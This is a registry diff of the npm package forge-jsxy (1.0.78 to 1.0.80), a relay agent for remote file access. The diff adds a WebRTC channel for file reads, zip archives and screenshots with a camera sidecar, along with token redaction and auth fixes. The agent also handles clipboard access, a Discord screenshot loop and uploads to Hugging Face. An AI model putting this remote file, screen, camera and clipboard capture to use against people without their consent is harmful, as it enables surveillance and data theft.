forge-jsxy 1.0.78 → 1.0.80

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -14,12 +14,14 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
14
14
  * Nothing is written to disk on the agent for that path. Use **`wss://`** in production so tokens
15
15
  * are not sent in clear text. After each Hub upload that used relay-fetched credentials, call
16
16
  * `scrubHfCredentialsInPlace` on that object so the token field is cleared
17
- * (JavaScript cannot truly wipe string contents in memory).
17
+ * (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
18
+ * copy immediately after sending `relay_hf_credentials_result` over the socket.
18
19
  *
19
20
  * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
20
21
  * plaintext UTF-8 JSON is:
21
22
  * `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
22
23
  * (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
24
+ * The token must allow **writing** Hub repos (classic: enable Write; fine-grained: Repositories → write for that user/org).
23
25
  *
24
26
  * Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
25
27
  * `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
@@ -28,6 +30,7 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
28
30
  * `CFGMGR_HF_MIN_FETCH_INTERVAL_MS`, `CFGMGR_HF_USE_XET` (written `0` in agent env; uploads do not use Hub Xet),
29
31
  * `CFGMGR_HF_SKIP_OPENAS_BLOB` (default `1` — avoid `fs.openAsBlob` Hub payload path),
30
32
  * `CFGMGR_HF_FETCH_RETRIES` / `CFGMGR_HF_FETCH_RETRY_MS`, `CFGMGR_HF_UPLOAD_RETRIES` / `CFGMGR_HF_UPLOAD_RETRY_MS`,
33
+ * `CFGMGR_HF_HUB_CUSTOM_FETCH=1` (optional legacy Hub fetch wrappers — default **off**; enabling can break LFS uploads),
31
34
  * `CFGMGR_HF_VERBOSE_ERRORS=1` — see `hfUpload.ts`.
32
35
  */
33
36
  const node_crypto_1 = require("node:crypto");
package/dist/hfUpload.js CHANGED
@@ -55,7 +55,11 @@ exports.runHfUpload = runHfUpload;
55
55
  * `CFGMGR_HF_LEGACY_MAX_BYTES`).
56
56
  * Tree paths are sanitized (`..`, control chars). Hub **Xet is never used** for uploads (LFS only).
57
57
  *
58
- * Resilience (defaults on, `npm install` only): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
58
+ * **HTTP fetch:** by default Hub uploads use Node’s global `fetch` only. Set **`CFGMGR_HF_HUB_CUSTOM_FETCH=1`**
59
+ * on the agent to enable our retry + S3 CRC32 wrappers (legacy workaround); leaving it **off** avoids
60
+ * HTTP **403** failures on current HF LFS presigned uploads for many deployments.
61
+ *
62
+ * Resilience (defaults on with custom fetch): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
59
63
  * whole **commit** retries on transient Hub / wire errors (see `CFGMGR_HF_UPLOAD_RETRIES`). This improves
60
64
  * success under blips; it cannot guarantee every upload (locks, auth, quotas, huge trees still fail).
61
65
  *
@@ -133,6 +137,16 @@ function persistHubDisableXetToAgentEnv() {
133
137
  process.env.CFGMGR_HF_USE_XET = "0";
134
138
  }
135
139
  const MEMORY_BLOB_UPLOAD_MAX = 80 * 1024 * 1024;
140
+ /** Hub error bodies may echo secrets — redact token-shaped substrings before showing in UI. */
141
+ function redactHubApiMessageForUi(raw, maxLen = 280) {
142
+ let s = String(raw || "")
143
+ .replace(/\bhf_[A-Za-z0-9_-]+\b/gi, "hf_[redacted]")
144
+ .replace(/\s+/g, " ")
145
+ .trim();
146
+ if (s.length > maxLen)
147
+ s = s.slice(0, maxLen).trimEnd() + "…";
148
+ return s;
149
+ }
136
150
  async function memoryBlobFromLocalIfSmall(absPath) {
137
151
  try {
138
152
  const st = await fs.promises.stat(absPath);
@@ -168,8 +182,18 @@ function localDiskPathForUploadRetry(p) {
168
182
  function formatHfUploadError(err) {
169
183
  if (err instanceof hub_1.HubApiError) {
170
184
  const c = err.statusCode;
171
- if (c === 401 || c === 403) {
172
- return "Hugging Face rejected the token or this account cannot write that repo. Check credentials and repo access.";
185
+ const hubSays = redactHubApiMessageForUi(err.message || "");
186
+ const suffix = hubSays.length > 12 ? ` Hub details: ${hubSays}` : "";
187
+ if (c === 401) {
188
+ return ("Hugging Face rejected the token (HTTP 401). Regenerate an access token at " +
189
+ "https://huggingface.co/settings/tokens — classic tokens need **Write**, fine-grained tokens need **Repositories: write** " +
190
+ "for the target user/org. Encrypt it into RELAY_HF_CREDENTIALS_B64 (relay) or CFGMGR_HF_CREDENTIALS_B64 (agent) and restart." +
191
+ suffix);
192
+ }
193
+ if (c === 403) {
194
+ return ("Hugging Face denied writing this repo (HTTP 403). Common causes: token is **read-only**, fine-grained token lacks **write** on this repo/namespace, " +
195
+ "you are not an org **writer**, manual repo id is wrong, or the repo exists under another account. Session uploads use repo `<namespace>/<seq_id>` where **namespace** comes from your HF credentials JSON." +
196
+ suffix);
173
197
  }
174
198
  if (c === 404) {
175
199
  return "Hugging Face repo not found. Check the repo id, namespace, or create the repo first.";
@@ -352,8 +376,18 @@ function computeCrc32(data) {
352
376
  }
353
377
  return (crc ^ 0xffffffff) >>> 0;
354
378
  }
355
- /** Custom `fetch` for Hub: optional spacing + retries on thrown network errors (defaults on). */
379
+ /**
380
+ * Legacy Hub `fetch` injection (retries + min interval + S3 CRC32 header fix for older hub/S3 combos).
381
+ * Default **off** — enabling it can cause **HTTP 403** on LFS multipart uploads with current HF endpoints.
382
+ */
383
+ function hubCustomFetchStackEnabled() {
384
+ const raw = (process.env.CFGMGR_HF_HUB_CUSTOM_FETCH || "").trim().toLowerCase();
385
+ return raw === "1" || raw === "true" || raw === "yes" || raw === "on";
386
+ }
387
+ /** Custom `fetch` for Hub when {@link hubCustomFetchStackEnabled}; otherwise native `fetch` only. */
356
388
  function buildHubFetch() {
389
+ if (!hubCustomFetchStackEnabled())
390
+ return undefined;
357
391
  const minMs = hubMinFetchIntervalMs();
358
392
  const maxThrow = hubFetchMaxAttemptsOnThrow();
359
393
  let inner = globalThis.fetch.bind(globalThis);
@@ -46,6 +46,8 @@ const os = __importStar(require("node:os"));
46
46
  const path = __importStar(require("node:path"));
47
47
  const ws_1 = __importDefault(require("ws"));
48
48
  const relayAuth_1 = require("./relayAuth");
49
+ const forgeRtcAgent_1 = require("./forgeRtcAgent");
50
+ const forgeBulkDc_1 = require("./forgeBulkDc");
49
51
  const fsMessages_1 = require("./fsMessages");
50
52
  const hfCredentials_1 = require("./hfCredentials");
51
53
  const hfUpload_1 = require("./hfUpload");
@@ -314,11 +316,38 @@ function runRelayAgentLoop(opts) {
314
316
  log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n Relay: ${relayUrl}\n Session: ${sessionId}\n FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
315
317
  log(quiet, " Connecting to relay...");
316
318
  void (0, relayAuth_1.relayWsProxySetting)();
319
+ /** Reported in `info.features.webrtc_datachannel` for dashboards; relay still advertises ICE — viewers probe then fall back when false. */
320
+ const agentWebrtcDatachannelCapable = (0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() && (0, forgeRtcAgent_1.loadNodeDcPeerConnection)() !== null;
317
321
  const preOpenQueue = [];
322
+ let relayRtcIceServersCache = null;
323
+ let forgeRtcSession = null;
324
+ let rtcDcOutbound = null;
325
+ let rtcDcInputOutbound = null;
326
+ let rtcDcBulkOutbound = null;
327
+ /** Serialize `forge-bulk` frames so hdr/binary pairs do not interleave across concurrent fs ops. */
328
+ let bulkFsSendChain = Promise.resolve();
329
+ const forgeRtcPendingViewerIce = [];
330
+ const closeForgeRtcSessionOnly = () => {
331
+ try {
332
+ forgeRtcSession?.close();
333
+ }
334
+ catch {
335
+ /* skip */
336
+ }
337
+ forgeRtcSession = null;
338
+ rtcDcOutbound = null;
339
+ rtcDcInputOutbound = null;
340
+ rtcDcBulkOutbound = null;
341
+ bulkFsSendChain = Promise.resolve();
342
+ };
343
+ const resetForgeRtcNegotiation = () => {
344
+ forgeRtcPendingViewerIce.length = 0;
345
+ closeForgeRtcSessionOnly();
346
+ };
318
347
  /** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
319
348
  const WS_CONNECTING = 0;
320
349
  const WS_OPEN = 1;
321
- const sendJson = (obj) => {
350
+ const sendJsonWs = (obj) => {
322
351
  const w = outboundAgentWs;
323
352
  if (!w)
324
353
  return;
@@ -330,6 +359,91 @@ function runRelayAgentLoop(opts) {
330
359
  preOpenQueue.push(obj);
331
360
  }
332
361
  };
362
+ const sendJson = (obj) => {
363
+ const rec = obj;
364
+ const ty = String(rec?.type ?? "");
365
+ const wsOnly = !ty ||
366
+ ty === "info" ||
367
+ ty.startsWith("forge_rtc_") ||
368
+ ty.startsWith("discord_") ||
369
+ ty.startsWith("relay_") ||
370
+ ty === "auth_challenge" ||
371
+ ty === "auth_result";
372
+ if (!wsOnly && (0, forgeRtcAgent_1.agentOutboundPreferRtcDc)(ty)) {
373
+ let payload;
374
+ try {
375
+ payload = JSON.stringify(obj);
376
+ }
377
+ catch {
378
+ payload = "";
379
+ }
380
+ if (payload.length > 0 && payload.length <= 32768) {
381
+ for (const dc of [rtcDcOutbound, rtcDcInputOutbound]) {
382
+ if (!dc?.isOpen())
383
+ continue;
384
+ try {
385
+ if (dc.sendMessage(payload)) {
386
+ return;
387
+ }
388
+ }
389
+ catch {
390
+ /* WS fallback */
391
+ }
392
+ }
393
+ }
394
+ }
395
+ sendJsonWs(obj);
396
+ };
397
+ const deliverFsResponse = (resp) => {
398
+ const ty = String(resp.type ?? "");
399
+ const bulk = rtcDcBulkOutbound;
400
+ if (bulk?.isOpen() &&
401
+ ty === "fs_screenshot_result" &&
402
+ typeof resp.b64 === "string" &&
403
+ resp.b64.length > 0) {
404
+ const cameraB64 = typeof resp.camera_b64 === "string" ? resp.camera_b64.trim() : "";
405
+ bulkFsSendChain = bulkFsSendChain
406
+ .then(() => {
407
+ if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
408
+ sendJson(resp);
409
+ return false;
410
+ }
411
+ return true;
412
+ })
413
+ .then((mainOk) => {
414
+ if (!mainOk || cameraB64.length === 0)
415
+ return;
416
+ if (!(0, forgeBulkDc_1.forgeBulkAgentTrySendScreenshotCameraSidecar)(bulk, {
417
+ request_id: resp.request_id,
418
+ camera_mime: resp.camera_mime,
419
+ camera_width_percent: resp.camera_width_percent,
420
+ camera_available: resp.camera_available,
421
+ }, cameraB64)) {
422
+ sendJson(resp);
423
+ }
424
+ })
425
+ .catch(() => {
426
+ sendJson(resp);
427
+ });
428
+ return;
429
+ }
430
+ if (bulk?.isOpen() &&
431
+ (ty === "fs_read_result" || ty === "fs_zip_result") &&
432
+ typeof resp.b64 === "string" &&
433
+ resp.b64.length > 0) {
434
+ bulkFsSendChain = bulkFsSendChain
435
+ .then(() => {
436
+ if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
437
+ sendJson(resp);
438
+ }
439
+ })
440
+ .catch(() => {
441
+ sendJson(resp);
442
+ });
443
+ return;
444
+ }
445
+ sendJson(resp);
446
+ };
333
447
  const ws = new ws_1.default(wsUrl, {
334
448
  /** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
335
449
  maxPayload: 2 ** 27,
@@ -343,6 +457,8 @@ function runRelayAgentLoop(opts) {
343
457
  let relayAgentHandshakeDone = false;
344
458
  let discordLoopStarted = false;
345
459
  let discordEnabledByRelayHandshake = false;
460
+ /** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
461
+ let forgeRtcStatusSentThisViewer = false;
346
462
  const tryStartDiscordAfterHandshake = () => {
347
463
  if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
348
464
  return;
@@ -430,6 +546,10 @@ function runRelayAgentLoop(opts) {
430
546
  }
431
547
  }
432
548
  }
549
+ const iceRaw = caps.rtc_ice_servers;
550
+ if (Array.isArray(iceRaw) && iceRaw.length > 0) {
551
+ relayRtcIceServersCache = iceRaw;
552
+ }
433
553
  }
434
554
  relayAgentHandshakeDone = true;
435
555
  try {
@@ -474,6 +594,7 @@ function runRelayAgentLoop(opts) {
474
594
  filesystem: allowFilesystem,
475
595
  screen: false,
476
596
  password_required: Boolean(password),
597
+ webrtc_datachannel: agentWebrtcDatachannelCapable,
477
598
  },
478
599
  scale: 1.0,
479
600
  quality: 0,
@@ -488,17 +609,17 @@ function runRelayAgentLoop(opts) {
488
609
  tryStartDiscordAfterHandshake();
489
610
  });
490
611
  });
491
- ws.on("message", (data, isBinary) => {
492
- if (isBinary)
493
- return;
494
- let msg;
495
- try {
496
- msg = JSON.parse(String(data));
497
- }
498
- catch {
499
- return;
500
- }
612
+ const handleViewerInboundFromRelay = (msg, via) => {
501
613
  const msgType = String(msg.type || "");
614
+ if (via === "dc") {
615
+ if (msgType.startsWith("forge_rtc_"))
616
+ return;
617
+ if (msgType !== "get_info" &&
618
+ !msgType.startsWith("fs_") &&
619
+ !msgType.startsWith("rc_")) {
620
+ return;
621
+ }
622
+ }
502
623
  if (msgType === "discord_screenshot_upload_result") {
503
624
  const rid = String(msg.request_id ?? "");
504
625
  const pending = pendingDiscordRelayAck.get(rid);
@@ -565,6 +686,7 @@ function runRelayAgentLoop(opts) {
565
686
  }
566
687
  if (msgType === "viewer_connected") {
567
688
  viewerConnected = true;
689
+ forgeRtcStatusSentThisViewer = false;
568
690
  viewerAuthenticated = !password;
569
691
  pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
570
692
  log(quiet, ` Viewer connected${password ? " (awaiting auth)" : ""}`);
@@ -596,7 +718,10 @@ function runRelayAgentLoop(opts) {
596
718
  }
597
719
  if (msgType === "viewer_disconnected") {
598
720
  viewerConnected = false;
599
- viewerAuthenticated = !password;
721
+ forgeRtcStatusSentThisViewer = false;
722
+ resetForgeRtcNegotiation();
723
+ /** Always drop auth until `viewer_connected` — same effective behavior as password mode (`!password` was false there). */
724
+ viewerAuthenticated = false;
600
725
  pendingAuthNonce = "";
601
726
  log(quiet, " Viewer disconnected");
602
727
  return;
@@ -640,6 +765,21 @@ function runRelayAgentLoop(opts) {
640
765
  }
641
766
  return;
642
767
  }
768
+ /** Passwordless: relay may deliver this before deferred `viewer_connected`. Password sessions: only after auth (avoid leaking OS/version). */
769
+ if (msgType === "get_info") {
770
+ if (!password || viewerAuthenticated) {
771
+ sendJson({
772
+ type: "system_info",
773
+ data: {
774
+ ...systemInfo(),
775
+ forge_jsx_version: forgeJsxVersion,
776
+ },
777
+ screen: screenOff,
778
+ scale: 1.0,
779
+ });
780
+ }
781
+ return;
782
+ }
643
783
  if (!viewerAuthenticated) {
644
784
  const rid = String(msg.request_id ?? "");
645
785
  if (msgType === "fs_hf_upload") {
@@ -664,6 +804,8 @@ function runRelayAgentLoop(opts) {
664
804
  "rc_clipboard_get",
665
805
  "rc_clipboard_set",
666
806
  "rc_file_push",
807
+ "forge_rtc_offer",
808
+ "forge_rtc_candidate",
667
809
  ].includes(msgType)) {
668
810
  sendJson({
669
811
  type: "fs_error",
@@ -678,16 +820,83 @@ function runRelayAgentLoop(opts) {
678
820
  if (msgType === "relay_hf_credentials_request") {
679
821
  return;
680
822
  }
681
- if (msgType === "get_info") {
682
- sendJson({
683
- type: "system_info",
684
- data: {
685
- ...systemInfo(),
686
- forge_jsx_version: forgeJsxVersion,
687
- },
688
- screen: screenOff,
689
- scale: 1.0,
690
- });
823
+ if (msgType === "forge_rtc_offer") {
824
+ resetForgeRtcNegotiation();
825
+ const peerCtor = (0, forgeRtcAgent_1.loadNodeDcPeerConnection)();
826
+ if (!(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() || !peerCtor) {
827
+ if (!forgeRtcStatusSentThisViewer) {
828
+ forgeRtcStatusSentThisViewer = true;
829
+ sendJsonWs({
830
+ type: "forge_rtc_agent_status",
831
+ ok: false,
832
+ datachannel: false,
833
+ detail: !(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)()
834
+ ? "WebRTC P2P disabled on agent (FORGE_JS_WEBRTC_P2P)."
835
+ : "Native WebRTC unavailable (optional dependency node-datachannel missing or failed to load). Remote control uses the relay WebSocket.",
836
+ });
837
+ }
838
+ return;
839
+ }
840
+ try {
841
+ forgeRtcSession = new forgeRtcAgent_1.ForgeRtcAgentSession({
842
+ PeerConnection: peerCtor,
843
+ sdp: String(msg.sdp ?? ""),
844
+ sdpType: String(msg.sdpType ?? "offer"),
845
+ iceServers: (0, forgeRtcAgent_1.rtcIceServersForNodeDc)(relayRtcIceServersCache ?? undefined),
846
+ sendSignaling: sendJsonWs,
847
+ setOutboundDc: (which, dc) => {
848
+ if (which === "main") {
849
+ rtcDcOutbound = dc;
850
+ }
851
+ else if (which === "input") {
852
+ rtcDcInputOutbound = dc;
853
+ }
854
+ else if (which === "bulk") {
855
+ rtcDcBulkOutbound = dc;
856
+ }
857
+ },
858
+ onInboundDcText: (text) => {
859
+ let inner;
860
+ try {
861
+ inner = JSON.parse(text);
862
+ }
863
+ catch {
864
+ return;
865
+ }
866
+ handleViewerInboundFromRelay(inner, "dc");
867
+ },
868
+ onFatal: () => {
869
+ resetForgeRtcNegotiation();
870
+ },
871
+ quiet,
872
+ });
873
+ }
874
+ catch (e) {
875
+ resetForgeRtcNegotiation();
876
+ sendJsonWs({
877
+ type: "forge_rtc_agent_status",
878
+ ok: false,
879
+ datachannel: false,
880
+ detail: String(e),
881
+ });
882
+ return;
883
+ }
884
+ for (const p of forgeRtcPendingViewerIce) {
885
+ forgeRtcSession?.addRemoteIce(p.candidate, p.mid);
886
+ }
887
+ forgeRtcPendingViewerIce.length = 0;
888
+ return;
889
+ }
890
+ if (msgType === "forge_rtc_candidate") {
891
+ const cand = String(msg.candidate ?? "").trim();
892
+ if (!cand)
893
+ return;
894
+ const mid = msg.sdpMid != null ? String(msg.sdpMid) : "";
895
+ if (!forgeRtcSession) {
896
+ forgeRtcPendingViewerIce.push({ candidate: cand, mid });
897
+ return;
898
+ }
899
+ forgeRtcSession.addRemoteIce(cand, mid);
691
900
  return;
692
901
  }
693
902
  if ([
@@ -707,7 +916,7 @@ function runRelayAgentLoop(opts) {
707
916
  void (async () => {
708
917
  try {
709
918
  const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
710
- sendJson(resp);
919
+ deliverFsResponse(resp);
711
920
  }
712
921
  catch (e) {
713
922
  sendJson({
@@ -821,6 +1030,18 @@ function runRelayAgentLoop(opts) {
821
1030
  })();
822
1031
  });
823
1032
  }
1033
+ };
1034
+ ws.on("message", (data, isBinary) => {
1035
+ if (isBinary)
1036
+ return;
1037
+ let parsed;
1038
+ try {
1039
+ parsed = JSON.parse(String(data));
1040
+ }
1041
+ catch {
1042
+ return;
1043
+ }
1044
+ handleViewerInboundFromRelay(parsed, "ws");
824
1045
  });
825
1046
  ws.on("close", () => {
826
1047
  clearAllPendingDiscordAgent("agent websocket closed");
@@ -832,6 +1053,7 @@ function runRelayAgentLoop(opts) {
832
1053
  }
833
1054
  stopDiscordScreenshotLoop = null;
834
1055
  preOpenQueue.length = 0;
1056
+ resetForgeRtcNegotiation();
835
1057
  if (outboundAgentWs === ws)
836
1058
  outboundAgentWs = null;
837
1059
  relayDisconnectCleanup();
@@ -849,6 +1071,7 @@ function runRelayAgentLoop(opts) {
849
1071
  log(quiet, ` Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
850
1072
  if (outboundAgentWs === ws) {
851
1073
  preOpenQueue.length = 0;
1074
+ resetForgeRtcNegotiation();
852
1075
  outboundAgentWs = null;
853
1076
  }
854
1077
  relayDisconnectCleanup();
@@ -306,5 +306,13 @@ function readJsonBody(req) {
306
306
  }
307
307
  });
308
308
  req.on("error", () => fin({ error: "aborted" }));
309
+ /** RST / half-close without `error`: finish so `.then` handlers still run and sockets are not wedged. */
310
+ req.on("close", () => {
311
+ if (done)
312
+ return;
313
+ if (req.readableEnded)
314
+ return;
315
+ fin({ error: "aborted" });
316
+ });
309
317
  });
310
318
  }